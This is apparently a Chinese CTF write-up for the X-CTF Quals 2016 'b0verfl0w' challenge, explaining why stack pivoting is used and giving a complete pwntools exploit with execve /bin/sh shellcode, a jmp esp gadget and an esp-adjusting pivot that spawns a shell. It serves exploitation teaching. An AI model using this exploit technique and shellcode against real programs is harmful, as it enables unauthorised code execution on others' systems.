X-CTF Quals 2016 - b0verfl0w [Stack Pivoting]

学习资料:

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/fancy-rop/#stack-pivoting

为什么要使用?

(1)栈溢出时,覆盖后剩下的栈空间不够写exp、ROP等溢出利用

(2)开启了PIE,栈地址不固定,没法利用

要求:可以控制EIP或ESP的至少一个,利用gadgets:

pop esp;
sub esp xx,
jmp esp

从而控制程序流到我们的shellcode

例题:

可以控制的字符数为50 - 0x20 - 4 = 14个字节~是不够滴~

就要利用stack pivoting,将esp指向我们填入的buffer的起始地址

shellcode从这儿找

http://shell-storm.org/shellcode/

http://shell-storm.org/shellcode/files/shellcode-841.php

最后得到exp为

#!/usr/bin/env python
# coding=utf-8

from pwn import *
io = process("./b0verfl0w")

shell = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

jmp_esp_addr = 0x8048504
payload = shell + (0x20 - len(shell)) * "A" + "BBBB" + p32(jmp_esp_addr) + asm('sub esp, 0x28;jmp esp')
io.sendline(payload)
io.interactive()

 

全部评论

相关推荐

暴走萝莉莉:这是社招场吧,作为HR说个实话:这个维护关系的意思是要有政府资源,在曾经的工作中通过人脉资源拿下过大订单的意思。这个有相关管理经验,意思也是真的要有同岗位经验。应酬什么的对于业务成交来说就算不乐意也是常态,就是要求说话好听情商高,酒量好。
点赞 评论 收藏
分享
评论
点赞
收藏
分享
牛客网
牛客企业服务